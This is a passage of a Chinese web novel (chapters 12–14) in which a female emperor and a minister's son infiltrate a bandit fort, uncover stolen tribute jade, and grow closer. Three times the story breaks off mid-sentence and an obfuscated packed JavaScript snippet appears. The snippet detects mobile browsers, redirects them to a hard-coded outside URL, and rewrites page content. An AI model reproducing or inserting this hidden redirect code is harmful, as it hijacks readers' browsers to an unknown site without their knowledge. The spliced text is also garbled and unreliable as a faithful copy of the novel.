或许,会的吧。他如此想着,心头的喜悦竟压下去了一些,而后是一阵泛酸。 就在此时,少女的睫毛似乎动了一下,言煜随即收了方才的神色,又是一如既往地令人找不到破绽。 孤弈行果然醒了,她揉了揉惺忪的睡眼,下意识地做了个伸懒腰的动作,却发现自己的一只手被人压在身下,动弹不得。 她睁开了眼,看到一旁已经醒了的言煜,才想起自己昨天晚上伺候面前这位大少爷的所有细节。 “你的旧疾,是怎么回事?”孤弈行开口便问,随后直直地对上那双矜贵的凤眼,不容他丝毫躲闪。 言煜才留意到她的一只手被压麻了,于是起了身,靠在床头。 “一些宅院内斗罢了。”言煜似乎早已习惯,和孤弈行说了前因后果,一脸的云淡风轻。 反倒是孤弈行显得没那么淡定了,纵然她压低了音量,言煜还是能感觉到她的嫉恶如仇,义愤填膺:“对一个孩童都能下得去手,恩将仇报,真是养不熟的白眼狼!” “我孤弈行此生最看不惯的就是这种当面一套,背后一套的小人。”孤弈行剑眉凛冽,说这话时气韵自成。 “不过说来好人也不是那么好当的。就像我,我也从来不认为自己是个好人,因为天下人谈起孤弈行这个名字也只会想到枭雄,而非好人。” 孤弈行似是想到什么,骤然一笑,笑容是一如既往的张扬肆意。 言煜似乎没想到她会这么说,微微愣住。他望着她的眉眼,心里忍不住去想:能放过前朝皇室妇孺,不残害无辜将士,嫉恶如仇,对自己坦诚相待的人,怎么不算是好人呢? 话在嘴边,他似是犹豫了,然而下一秒他终是说出了口:“不,你是。” 孤弈行似是没想到他会这么说,一瞬间开始怀疑自己的耳朵是不是出了问题。 “你说什么?” 言煜似是也想到自己近来的表现有些反常,甚至可以说有些逾矩,便定了定神,只淡定地说了一句:“没什么。” “你这人怎么这样?”孤弈行猜到这人傲娇,却没想到这人这么傲娇。 但她转念一想,嘴角又忍不住微微上扬:“你刚刚说我是好人,我听见了。” 言煜咳嗽了一声,也不否认,只是不再说话。 孤弈行还欲说话,却听见门外传来一阵敲门声,低沉的男音随后传来:“二位,我们快要上路了。” “好,我们知道了。” 话音刚落,二人便打开了床边的一个包袱,换上了那两个倒霉蛋的衣服,好在身量相仿,还算凑合。 孤弈行略显嫌弃地提着那晃荡晃荡的冰青色水袖,心里已经开始怀念从前行军的日子,啧了啧,小声道:“真麻烦。” “情况特殊,凑合一下吧。”言煜浅笑。 整理完长袍他似是想到了什么,犹豫了片刻,欲言又止。 孤弈行似乎知道他要说什么,勾了勾唇,露出一抹张扬的笑意,随即像寻常江南女子那般动作轻柔地环住了他的手臂。 言煜推开了门,只见那二人似乎已经等候多时。 “二位,请。”那一身匪气的男人低声道。 言煜点了点头,随即携着孤弈行跟随那二人向外走去,一路走到一处巷子。 巷子深处有几人一身便服,个个骑于马上,手里还牵着三匹马。 那二人翻身上马,随即转过头去注视着言煜与孤弈行。 孤弈行也知如今自己的身份是一个柔弱娉婷的江南女子,断不是驰骋沙场的女将,因而翻身上马是绝对不可能做到的。 于是,她先静静地看着言煜翻身上马,又任凭他伸出手,将自己拉了上去,坐到了他身后。 一阵策马扬鞭,沙尘弥漫,一切风物都以极快的速度被甩在身后。 孤弈行看见燕城的繁华逐渐不可及,随之而来的是连绵的山峦。片刻后,山峦之中的山寨逐渐映入眼帘。 寨门口,一行山匪打扮的人已经等候多时。为首的是一个身材魁梧的中年男子,右眼下方有着一处刀疤,看上去甚是凶恶。 想必这便是南风寨的大当家头子,人称刀万了。孤弈行心想。为了不让那人察觉有异,她很快偏过头去。 “大当家的。”那几个与二人同行的土匪翻身下马,向刀万鞠了一躬。 “二位,又见面了。” 刀万仔细地打量着面前头戴面具的青年男女,凶狠的脸上挤出一丝略显生硬的笑意,看了孤弈行都想送他一句——不如不笑。 “听说大当家这里有难得的好东西,娘子十分欢喜,我们这才千里迢迢赶来了。”言煜淡然一笑。 孤弈行亦作笑不语。 “这一次的东西堪比贡品,确实是千金难求啊!贾兄,请。”刀万向二人露出一抹意味深长的笑意,随即引着二人上山。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828723|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没过多久,刀万便带着二人到了山腰的一处仓库。那仓库位于山洞之中,本是极为隐秘,却因为四周明显增加的流动哨而有些显眼。 孤弈行勾了勾唇,想到了一句话——此地无银三百两。 山洞里光线不佳,因而刀万命人点亮了火把,于是洞中的一切便映入眼帘。 言煜望了一眼山洞中的路,只觉得崎岖不平,侧过身温言道:“小心些,扶紧我。 “好。”孤弈行化身江南女子,嫣然一笑,言语之间是一如既往的娇柔。 她的右手环住他的胳膊,重心向他倾斜,看上去仿佛靠在他身上一般,整个人好似水做的,让人觉得情意绵绵。 言煜本以为自己已经习惯了她这一套逢场作戏,然而当她倚着他的肩膀,说着温言软语并向他嫣然一笑时,面具后的脸颊上依旧好似染上了烟霞。 下意识地,喉结微微上下滚动,他竟会觉得有些炙热难耐。 然而他似乎也很快察觉出了自己的不对劲,很快隐去了情绪,不让人轻易察觉。 往里走了一些,通道逐渐便宽,孤弈行远远便看见一扇铁门。刀万停下了脚步,命人打开铁门,珠光宝气顿时显现,似有要将整个山洞照亮的气势。 孤弈行粗看了一下,发现着这仓库内少说也有一百箱黄金,若说这些都是南风寨从百姓手中抢来的保护费,孤弈行是断然不信的。 而那仓库之中最惹眼的,莫过于那三箱墨玉。远远望去,其玉质温润细腻,色泽漆黑如墨,是不可多得的好物。 “二位瞧瞧,这货如何?”刀万奸笑着。 “瞧着自然是上上品。”言煜与孤弈行笑着对视,“不知十块墨玉大当家的想要什么价?” 刀万笑了笑,眼神之中闪过一丝贪婪。他伸出手,作了个三的手势。 “三千两黄金。”言煜勾了勾唇。 孤弈行正想着言煜这人是狮子大开口,就算贾岳那个混账要败家也不是这么个败法儿呀!然而下一秒,她却听到刀万捧腹大笑,搂着他的肩膀道: “贾公子果然识货,是个明白人!” 言煜抿了抿唇,顺势小声问了一句:“我们诚心求买,不如大当家的交个底,这批货究竟是什么来历?” 刀万见钱眼开,一时间被利益冲昏了头脑,笑着道了一句:“这货,天下难求,本是贡品。” “明白了,多谢仁兄。” “哪里哪里,贤弟才是人中之龙。” 孤弈行在一旁看着这两人勾肩搭背,相谈甚欢的样子,眼睛里仿佛含了一颗钉子,只能在心里发作。 她如今是越看那刀疤脸越不顺眼,也不睁大眼睛看看自己面前的是谁?人家言大公子是你能勾肩搭背,笑谈兄友弟恭的吗! 孤弈行虽也不值得自己这气是从何而来,但还是没忍住偷偷白了言煜一眼。 他似是看懂了那双桃花眼深处细微的情绪,嘴角忍不住微微上扬,接着就往后退了一步,和那刀万自然地拉开了距离。 12. 上钩 就在此时,一个小土匪进了山洞,其神色惊慌,刚进山洞就差点被绊了一跤,走到刀万身前之时已然气喘吁吁。 “什么事?”刀万见那人神色有异,心中不禁生出几分猜测,神情有些骇人。 那小土匪凑到刀万身旁,轻声说了几句话,刀万的脸肉眼可见地阴沉了下来。 孤弈行心中笃定,想是琴潇那边得手了。 果不其然,刀万转过身,阴沉的脸上勉强挤出一丝笑意:“抱歉两位,山下来了人,恐怕还需要两位暂时避一避。” 然而山下的人却比刀万想象的来得要快。 话音未落,山洞外便传来一阵刀剑相撞的声响,原是琴潇传孤弈行敕令到沐云府调了三千精兵,杀进来了。 洞口被堵住,山洞里的土匪几乎乱作一团,唯有刀万神色冷静。 他似是想到什么,转过身来,眼眸深处闪过一丝阴沉。他嘴角噙笑,却是皮笑肉不笑,使得整个人更添几分残暴:“老子很想知道官兵是怎么找到这里来的!” “大当家的,我也很想知道。” 孤弈行看着言煜和他装傻充愣,嘴角忍不住抽了抽。 “你二人怕不是早有预谋,一路留下印记,还在这里和我扮猪吃老虎!”刀万气得青筋暴起,提起大刀,咄咄逼人。 孤弈行此刻本就没想要继续瞒下去,取下了面具,拿在手中把玩,不予置否。 “既然如此,老子就拉你们两个陪葬,黄泉路上也好有个伴!” 说着,刀万甩起大刀就往言煜而来,言煜一个侧身便轻易躲过。 孤弈行则是想到了昨夜,于是抽出水袖中藏着的长鞭,一把勾住刀万手中的大刀,将言煜往后推了一把。 她笑容肆意张扬,似是故意挑衅,嘴角流露出一丝不屑:“就怕你,没这个本事!” 这句话深深地刺痛了刀万的神经,他攻势更猛,一把将偌大的木桌劈成两半,却依旧没有讨到半分好处。 反倒是孤弈行翻身而起,抽起长鞭便向那刀万挥去,他根本来不及反应,便被一记长鞭狠狠地抽中腰部,顿时吐出了一口鲜血。 若说刀万使用的是蛮力,孤弈行使用的便是巧力。长鞭看似轻巧,孤弈行却动用了内力,因此这一击力道极猛,刀万走路肉眼可见地有些左右摇晃了。 “没想到你还会用长鞭。”言煜一边将其他土匪斩于剑下,一边浅笑道。 “俗话说,技多不压身。”孤弈行得意地笑了笑,桃花眼依旧是一如既往的风流,“今日之后,你我也算是过命的交情了。” 言煜勾了勾唇:“自然。” 然而刀万毕竟也身经百战,纵然身受重伤依旧咬着牙站起,拼死与孤弈行近身搏斗。这仇视的目光,倒让孤弈行觉得她好像莫名其妙灭了他家满门似的。 若是寻常女子面对这个穷凶极恶的歹徒一定会有所畏惧,但他遇到的偏生是她孤弈行,而她孤弈行从来就不知道怕这个字怎么写! 可怜那刀万越是殊死一战,孤弈行越是来劲,招招驳回他的攻势。 孤弈行的招式大开大合,且速度极快,变幻莫测,很快便瞄准时机,化手为拳击中他的腹部,又擒住他的手用力向后翻折,只听见咔嚓一声,刀万的整条胳膊几乎被卸了下来。 刀万神色痛苦,嘴角微微抽抽搐,渗出丝丝鲜血。 然而下一秒,孤弈行徒手直逼其命门,刀万还未反应过来已经被人锁住喉咙。 “我说过,就怕你没这个本事。” 刀万倒吸了一口冷气,心有余悸,只听见背后的女子冷笑了一声。 此时洞内的其余土匪也都被言煜和琴潇等人肃清。刀万只听见一位生有鹅蛋脸,一身戎装的女子疾行到自己身前,单膝跪地,行以臣礼:“琴潇救驾来迟,还望陛下恕罪!” 听闻此声,刀万的眼神逐渐空洞,他转过头去,用尽最后的一丝力气看向背后的女子。 刀万只见被唤作陛下的女子正收起长鞭,斜斜地站着。她生有一双桃花眼,此刻眼尾微微上扬,眼底自有三分风流,七分恣意,却不失威严。 “你已经做得很好,朕哪里有怪你的道理。”孤弈行朱唇微启,笑着扶起琴潇。她的眼神坚毅,之前的媚骨柔情已然荡然无存。 “小人也是受人蛊惑,才犯下大罪,求陛……陛下饶命。”刀万见今日已无生路,又想到一人,直直跪了下去,再无方才的半分神气。 “受人蛊惑?那你倒是说说受谁蛊惑?”孤弈行勾了勾唇,桃花眼中流露出张扬的笑意,目光落在面前人的身上,似能窥探一切。 刀万的身体微微颤抖。 “你是想说沐云府吧?”孤弈行的嘴角微微上扬。 “你之所以能如此明目张胆,不过是仗着附近官府的庇护,这些朕自会去查。你最好能对朕有些用处。” 孤弈行自知刀万是个吃软怕硬的小人,故而也不想多费口舌,直接拿过琴潇递上的仗天剑抵在他的脖颈处。 言煜见状笑了笑,想来这也算是她一贯的作风。 “是是,小人猜测沐云府的背后还有更大的人物。” 刀万声音低沉,孤弈行的直觉告诉她面前的人没有说谎。 “前些日子,沐云府的人来信,让我们把买卖墨玉得来的黄金放到沐云府西郊外清嘉仓库,届时自有人来取。” “琴潇,沐云府的人都盯住了吗?”孤弈行思量片刻,道。 “回陛下,都盯住了,对外只说调遣军队是平定水寇,不会走漏风声。”琴潇正色道。 孤弈行微微颔首,随后似是想到了什么,低声在言煜耳畔说了一句:“言公子觉得他有没有说真话?” “事已至此,他没有理由撒谎。”言煜望着伏在地上的刀万,矜贵的凤眼似能探尽一切。 孤弈行打了个响指,嘴角忍不住微微上扬,心情似是不错:“所见略同。” 孤弈行对琴潇轻声说了几句,她便带着旭风营高手先行离开,带着金子乔装前往清嘉仓库布防。 而孤弈行与言煜收拾完残局后,便到了西郊一处距离仓库不过百米的酒楼。孤弈行订了二楼雅间,在那里清嘉仓库发生的一切刚好尽收眼底。 按照刀万所说的暗号,琴潇派人在仓库外放了一条白色丝带,然而众人一直从未时等到将至戌时清嘉仓库附近都没有动静。 而雅间内,孤弈行似是成竹在胸,毫不在意外面的情况,转眼的功夫一坛酒便空空如也。她随意地把玩着手中的白玉玉佩,神情泰然自若。 “陛下就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孤弈行冷笑一声,虽是在笑,冷峻的目光落入被擒男子眼中却有些骇人。 “飞鸽传书孟启,让他查抄袁府,再彻查沐云府官员,届时人证物证俱在,按我朝律法处置!” “是!” 话音未落,那人一下子瘫倒在地,眼神空洞。 “如今多事之秋,找辆马车,即刻返回都城。”孤弈行道。 “是……陛下从前不是更喜欢骑马吗?说是……要锻炼筋骨。”孤弈行如此反常,倒是把琴潇弄愣了,她特地凑过身去,试探了一番。 “找我说的去做。” 谁知孤弈行给了她一个意味深长的眼神,琴潇似乎捕捉到了什么不同寻常的事情,顿时起了劲。 “是!” “其实不必如此麻烦。”言煜听二人一来一回,自然明白了孤弈行细腻的心思。他薄唇微启,却不知嘴角早已忍不住微微上扬。 “近来天寒,要是回了京都你有个三长两短的,言相那个老头可是指不定要来数落我的不是!惹不起!惹不起!” 孤弈行说着便笑了起来,笑容依旧张扬肆意。 13. 乘人之危 没过多久,琴潇果然找来了一辆马车,一行人乘着夜色前往京都。 马车内点着暖炉,使得里面相比室外要暖和不少。孤弈行手举夜光杯,翘着二郎腿,神情好不自在。 相比之下,一旁的言煜就显得没有她这般没心没肺了。 孤弈行侧过身,靠在椅背上,却见他唇色略浅,随即倒了一杯琼浆递到他的手里,道:“喝杯酒就不冷了。” 言煜愣了一下,笑着推辞:“我不饮酒。” “好男儿应有万丈豪情,如何能不饮酒?在我们大祁,除了稚童,皆善饮酒!” 孤弈行笑着揶揄他,随着也没等他答话就将酒杯塞到了他的手中。 言煜自然明白祁人善饮酒的原因是因为祁地酷寒,但当他触及一旁女子期待的目光时,他的心仿佛被烫了一下,使得他不由自主地一饮而尽。 “言公子果然爽快!”孤弈行拍手叫好,却见言煜的脸颊上泛起了丝丝红晕,惊讶地睁大了眼。 “言煜……不是吧!你不会是个一杯倒吧!”孤弈行仔细地打量起身旁的男子来,仿佛他是个没见过的稀有品种。 她见那双向来庄重的凤眼此刻微微眯着,倒显出几分骨子里的风流。眼眸深处似乎映着斑斑重影,其中又似蕴有一泓深潭,泛着粼粼波光,却看不分明。 孤弈行在他面前挥了挥手,只见他没有反应,胆子便大了些。 世人皆说他是天下第一公子,今日她正好细细品品这天下第一公子究竟长得是何模样! 于是,孤弈行刻意凑近了些,二人之间的距离被快速拉进。她一手托着下巴,在距离面前男子不到半只手掌的地方停下了。 她微微仰着头,视线自额头一路朝下,只见面前男子有着如画的眉眼,高挺的鼻梁,如玉的薄唇,棱角分明的下颚,还有……此刻微微滚动的喉结。 就算是她孤弈行也不得不承认,面前男子的皮相生得极好,而骨相更是没得挑。 俗话说美人在骨不在皮,孤弈行如今看来这句话对男人也中用,更何况面前这人兼具皮相与骨相,也难怪能勾尽都城妙龄少女的芳心了。 然而就在这时,面前任人观赏的人儿却动了一下。 “这算不算乘人之危?”他说起话来依旧是一如既往的和风细雨,只是此刻熏着酒气,让人品出几分别样的味道来。 孤弈行没想到他还能与她说话,故而毫无防备,此刻下意识地缩回了半个脑袋,但二人之间仅剩的距离依旧算得上十分暧昧。 “不算!”孤弈行想着自己不就瞧了他两眼,又没做些什么,怎么就算得上乘人之危了?故而她理直气壮地道了一句。 “真的吗?” 微醺的风拨乱了他额前的发丝,他眯着眼,勾了勾唇,声音酥酥麻麻的,音调微微上扬。 孤弈行发现,他似在看她,却又好像不在看她。 这算勾引了吧!孤弈行瞧着面前这个与往日言行举止都极为不同的言煜,心跳忽然变得有些快。 也就是她孤弈行是个正人君子,面对这样一个喝醉酒的佳人能把持得住,要是换作其他人,说不定面前这人的清白可就守不住了! 再加上一个死缠烂打,可有他好果子吃!孤弈行心想。 然而就在此时,孤弈行听到了马车外出来的细碎的声响,仿佛有箭飞速射出,划过长空。 孤弈行行军打仗久了,本就十分警惕,很快反应过来:“有箭……” 她正上前拉住言煜,却见面前的男子先行一步环住她的肩膀,然而他的身体似乎有些不太稳,二人顺着惯性便倒在了马车内的垫子上。 就在二人倒下后的一瞬间,三支箭齐齐射入,孤弈行看着其中一支几乎擦过了自己的发梢,随后直直地钉在了离她不过一寸的地方。 有惊无险。 孤弈行的神经紧绷着,完全没注意到刚刚在自己身旁的言煜,只听见马车外的刀剑声逐渐消失,想来琴潇已经消灭了刺客。 孤弈行的神经松弛下来,一抬头便见男子俊朗的脸庞。他的耳根微微红了,脸颊上似染了烟霞,他眯着眼,似也在看她。 二人之间不过半个手掌的距离,孤弈行能清晰地看到他胸膛的起伏,更能清晰地感受到略带酒气的呼吸散乱在自己的脖颈。 不经意间,孤弈行的呼吸微微乱了。 她甚至,看到他的喉结微微滚动,目光灼灼。 若说方才还没有缓过神来,孤弈行现在是完全清醒了,这家伙竟将自己压在了身下!此刻好像在细细观赏她! 方才这家伙还说自己乘人之危,如今看来,分明他才是乘人之危的那一个吧!纯纯的报复! “陛下没事吧,方才有……”可怜那琴潇撩开帷幔,却见到了非礼勿视的场面,立马很识趣地退了出去。 她略显尴尬地咳嗽了一声,脑海中却不由自主地回忆起刚才看到的场面。她分明看到,自家一向霸气侧漏,撩人而不自知的陛下竟被平日里温文尔雅的言公子压在了身下! 琴潇知道其中或许另有隐情,但是想写话本子的心已经蠢蠢欲动了。 孤弈行虽是个脸皮厚的,此刻也觉得有些尴尬,于是恼羞成怒地推开那人,却见那人像开玩笑一样合上了眼,整个人啪嗒一下压了下来。 不是吧!什么时候睡不行,偏偏这个时候睡? 孤弈行怒极反笑,想着自己下次可千万不能让这人喝酒了,不仅是个一杯倒,喝醉了之后还惯会耍无赖,不正经! 孤弈行想着他害自己如此狼狈,本欲揣他一脚出出气,可想着京城男子多是细皮嫩肉的,恐怕受不住。 于是,孤弈行只好耐着性子费了一番力气把他拖到了坐板上。 她整理了衣着,定了定神,努力恢复了面不改色心不跳的状态:“那人怎么样了?” “回陛下,这些刺客是冲着杀人灭口和刺杀来的,那人只受了皮肉伤,无性命之忧。但那些刺客都是死士,已经咬舌自尽了。” “看来袁锐还是防了一手,不过就凭这些小把戏,还是难改其命运。”孤弈行勾了勾唇,冷笑一声。 刺客风波过后,这一夜可谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828725|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是风平浪静,孤弈行让琴潇弄来了一碗醒酒汤,让这大少爷服下。这一晚,身旁人还算安分,孤弈行难得睡了一个安稳觉。 次日,言煜睁开眼,只觉身体一阵发酸,但头脑已经恢复了清醒。 他低头看到自己身上盖着的毛毯,又望了一眼尚且安睡的女子,一时间竟想不起来昨晚的事情。 他揉了揉太阳穴,只记得昨晚自己喝了一杯酒,然后就迷迷糊糊的,失去了意识。等到醒来,便已经是今日了。 “你醒了?” 言煜还欲细想,却见一旁的孤弈行伸了个懒腰,向她一笑。 然而言煜能够感受到孤弈行看她的神情与往日有几分不同。虽然不知所为何事,但他总有一种不好的预感。 “昨日我喝醉了,之后……没有做什么冒犯之事吧?”言煜薄唇微启,意欲试探,眼神却下意识地有些躲闪。 “没有,言公子乃正人君子,自是仪态端方。”分明是一番正经的话,言煜却见孤弈行笑着挑了挑眉,眼神勾人。 “可我就不是了,我惯会乘人之危。” 还没等言煜反应过来,二人之间的距离便被极速拉进,孤弈行一手撑在窗边,完完全全地挡住了他的退路,让他动弹不得。 言煜的耳根微微红了,他只觉得整个人炙热难耐,胸口处似有一团火,想要将他吞噬。 他侧过身去,目光从面前女子的脸颊中移开,一系列动作略显慌乱,颇有几分落荒而逃的意味。 “陛下逾矩了。” 他只道了这么一句,却听见身旁的女子笑出了声来。 “逾矩吗?我倒不觉得。所谓男未婚女未嫁,况且这不就是昨日言公子对我所做之事吗?” 此话一出,头脑中关于昨日醉酒后不堪回首的记忆逐渐浮现。他分明是挑逗了她一番,然后……然后便像如今这样…… 虽说是因为刺客一事事出有因,但言煜还是没想到自己一向循规蹈矩,喝酒之后竟能做出这等放肆之事。 此刻更是被人当众揭开,言煜一向不起波澜的眼眸深处暗流涌动,眼神略显慌乱。 他正欲道歉,却是孤弈行笑着先开了口:“逗你的,本就不是什么大事,只是以后在陌生人面前不要随便喝酒了。” 她故意顿了一顿,似是想到了什么,咳嗽了一声:“若是……到时候出了什么事,可别怪我没提醒你。” 言煜浅笑着点了点头,总算恢复了往日的神色。 其实他从不饮酒,就连赵霖那家伙生日,他也总是推辞以茶代酒,这次破例却是因为……是她。 这一刻,言煜意识到不知从何时起自己对孤弈行的感情竟有些不同了。 这种情感既不是普通的君民之情,也不是单纯的知己之谊。 从矿洞相遇到而今,他好像越来越在乎她,在乎她的心情,她的语气,以及一切与她相关的事情。而这一切,完全出乎了他的意料。 他或许,已经喜欢上了她。他喜欢的她,不仅仅是那个少年帝王,更是那个恣意张扬,敢爱敢恨的孤弈行。 14. 秘密 五日后,一行人抵达京都。 次日早朝,一向来得最早的言钟正却因病缺席,孤弈行询问之下才知言钟正卧病在床,已经一连六日未上早朝。 孤弈行听后神色略显凝重,心中却有了思量,只是因为今日早朝要处理袁锐之事没有作声。 “臣等参见陛下!吾皇万岁万岁万万岁!”众臣皆着官服,伏地跪拜。 “众卿免礼。”孤弈行身着一袭五爪龙袍,靠在主座之上,桃花眼中的风流此刻被隐去,威严尽显。 “谢陛下!” “想必众卿都已经听闻兵部侍郎府被查抄一事。”孤弈行勾了勾唇,细细观察着殿下众人的反应。 “之前朕派人细查旧账,便发现金库中原本登记在册的一百块墨玉不知所踪。” “一百块墨玉……这可不是一笔小数目啊!”殿下众人大多面色惊惧,细碎的议论声不断传来。 孤弈行意味深长地笑了笑,道:“于是朕一路追查,在燕地的一个土匪寨发现了大量的墨玉。但为何一个小小的土匪寨会拿到数量如此之多的皇室贡品,相信诸位中的一些人比朕更清楚。” “臣等惶恐!”众臣皆跪。 但孤弈行却分明看到其中有人神色慌张,面色惨白。 “兵部侍郎袁锐私自搬动金库贡品,与南风寨勾结,胆大妄为,后谋划刺杀,罪加一等,按我朝律例判处死刑,次日于晋安门示众,以儆效尤!其府中男丁流放祁地。” “吾皇英明!” 话音未落,孤弈行便看到有人已经站不住了。她的嘴角忍不住微微上扬,流露出一丝不屑:“孟启,把名册拿上来!” 孟启双手捧着一份名册,递到孤弈行手中,孤弈行和他对了一个眼神,孟启的耳根却微微红了。 孤弈行见了也是不明白自己的大将军在战场上威风凛凛,怎么到了自己这里就扭捏成了小女郎?但好在孤弈行已经逐渐熟悉了孟启的反应,便也没说什么。 “前几日朕派孟启去查这几年与南风寨有来往之人,果然发现了端倪,其中沐云府官员几乎全部参与其中!”孤弈行冷笑一声,随即将名册甩在地上。 卷轴铺开,其中的名字逐渐显现。黄和海与喻威站在前侧,看得尤为清晰。 卷轴上不仅写有涉事官员的性命,还备注了其家中秘密查出的信件等,让人难以反驳。 经过墨玉一案,孤弈行几乎将整个沐云府连根拔起,同时也拔除了包括兵部侍郎袁锐在内的官员,朝野上下一时清明。 未时,言府。 “父亲如今感觉可好些?”言煜靠在榻前的椅子上,眉头微微皱起,凤眼深处流露出担忧之色。 “好些了。”言钟正难得笑着,却又咳嗽了一声。他本就年近五旬,又因过度操劳更显年迈,如今旧疾复发,使得他一周之内仿佛老了十岁。 然而就在此时,有人推门而入,门后响起熟悉的声音。 “言相,听闻你卧病在床,几日未上早朝,朕心中甚是挂念,便过来看看你。” 话音未落,就连言钟正和言煜都愣了一下,更别提一旁的沈宣清和言云芮了。 但毕竟是资历很深的老臣,纵然感到意外,言钟正还是很快反应过来,眼见着就要起身,却听见孤弈行道了一句:“言相有病在身,无需行礼。” “多谢陛下。” 随后,其他人一齐行礼。 言钟正略显动容,随后似是想到了什么,对着一旁的家丁道:“陛下亲临缘何不提前来报?” 却是孤弈行笑着先开了口:“是朕的吩咐,不怪他们。” “在一众御医之中,朱太医的医术最为高超,今日就让他给言相看看吧。” “老臣谢过陛下。” 孤弈行靠在床边,斜斜地站着,侧过身恰巧与言煜对视。不知为何,只一个眼神,言煜便读出了她眼眸深处的情绪。她似在,安慰他。 然而这一切都被言钟正收入眼底。 此时,一旁的言云芮可没在意二人的小小举动,只是觉得这个陛下的确如传说中那般英姿飒爽,气度不凡。然而不知,她却觉得面前这人似有几分眼熟。 言云芮下意识地眨了眨水汪汪的大眼睛,想着自己从未见过当今陛下,怎会觉得眼熟呢?这着实有些奇怪了。 太医给言钟正把脉的功夫,孤弈行侧过身,才注意到一旁的沈宣清和言云芮。 沈宣清依旧是一如既往的仪态端方,而言云芮嘛,和她当初翻墙头见到的一样,还是那个古灵精怪,瞧着怪讨人喜欢的。 等等!孤弈行正想着,突然意识到一件事,这小姑娘该不会认出自己来吧! 然而事已至此,已经无路可退,孤弈行只好在心中默念这小姑娘不要像她哥一样鬼精了! 毕竟孤弈行是见过大场面的人,纵然心中有几分忐忑,面上也全然不会表现出来。她嘴角微微上扬,笑容依然张扬肆意:“言夫人,言小姐。” “臣妇参见陛下。” “臣女参见陛下。” 言云芮当日近距离地看过那位翻墙头的蒙面女侠,原本站得远些倒还好,此刻离得近了,言云芮一抬头便看见那双蕴藏万千风流的桃花眼,面前的女子一下子与记忆中的蒙面女子的模样重合。 言云芮一瞬间仿佛发现了一个巨大的秘密,瞪大了眼睛,捂住嘴差点惊呼出来。 按照言云芮的逻辑,当初的那个蒙面姐姐是来看她哥哥的,又承认是喜欢她哥哥的,那如今她确定了陛下就是那个翻过墙头看她哥哥的蒙面姐姐,岂非代表着陛下喜欢她哥哥! 虽然绕了点,但言云芮很坚定自己得出的结论没错,于是望向孤弈行的大眼睛里含着笑意,格外热情。 孤弈行似是瞧出了些许不对劲。她灵光一闪,便想到了自己出宫之时藏的几块桂花糕,便取了出来,递到言云芮手中,似乎想要用美食堵住面前小姑娘的嘴巴。 “云芮饿不饿?姐姐出宫的时候正好带了点桂花糕,给你吃。” 孤弈行哄小孩本就很有一套,再加上言云芮是一个出了名的小吃货,从前就听闻御膳房制作的桂花糕甜而不腻,堪称一绝,只是从前父亲一直不让自己入宫玩,如今一见这桂花糕,两眼顿时放了光。 她顿时仿佛被蛊惑了一般,想着还是自己未来的嫂子最好!于是,她笑着接过,下一秒就往嘴里塞了一块,砸吧了起来。 “好不好吃?”小姑娘的笑总是很能感染人,孤弈行看了便也忍不住嘴角微微上扬。 “好吃!比我们府里做的好吃多了!” 孤弈行笑着弹了弹她的脑门:“那等下次有空了,我带你进宫去玩,那里有很多很多好吃的,都给你吃。” 言云芮自是一番欢天喜地,但孤弈行很快发现屋内的气氛似是有点不对劲。或者说,她们这边的温情戏码似是有点莫名其妙。 言煜竟不知自家妹妹何时与孤弈行这般熟了,甚至可以说是相谈甚欢? 就连卧病在床的言钟正都微微愣住了,浅浅眯起了眼睛,似在思索。 孤弈行自是觉得有几分尴尬,故而咳嗽了一声,转过头去故作镇定:“朱太医,如何了?” 朱旭从刚才的场景中缓过神来,微微皱眉,答道:“回陛下,言相的病乃是 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或许是怕孤弈行骄傲的缘故,言钟正很少当着孤弈行的面这么直白地夸她,因而此刻孤弈行都被夸得有些不好意思了。但是她知道,接下来的话题会是格外的沉重。 “如果可以,老臣也很想与陛下一同见证未来的盛世,可是如今老臣的身体已经无法支撑下去了。我凤朝人才济济,还望陛下另择贤能。” 言钟正眼眸含泪,强撑着身体向孤弈行深深地鞠了一躬。 孤弈行看得分明,因为年迈,他的后背已经不能蜷缩,只是微微隆起。 这一刻,她明白了言钟正无奈的笑意,因为天下最令人伤感的,莫过于英雄迟暮。 “朕会下旨赐你还乡,但言相需答应朕,等到身体好转再动身。” “多谢陛下。” “不过言相啊,有一句话你说错了。天下偌大,人才辈出,可在朕眼里能担得起这丞相之位的,却唯有你和黄相二人。” 话音未落,言钟正却是愣了一愣,抬眸望见那一双桃花眼深处此刻褪去了往日的风流恣意,庄重而真挚。 “朕许你告老还乡,可是这右相之位永远只属于你一人。” 言钟正似是没想到孤弈行会说出这一番话来,纵然隐忍,眼眸却灼热非常。 卧房外,言煜和言云芮等在一处,言煜似是想到了些什么,嘴角轻抿,言语试探:“云芮,你与陛下……什么时候这般熟悉了?” 言云芮正津津有味地吃着方才从孤弈行手中接过的,藏在衣袖中的桂花糕,于是嘟着嘴随便胡扯了一句:“一见如故不行啊!” 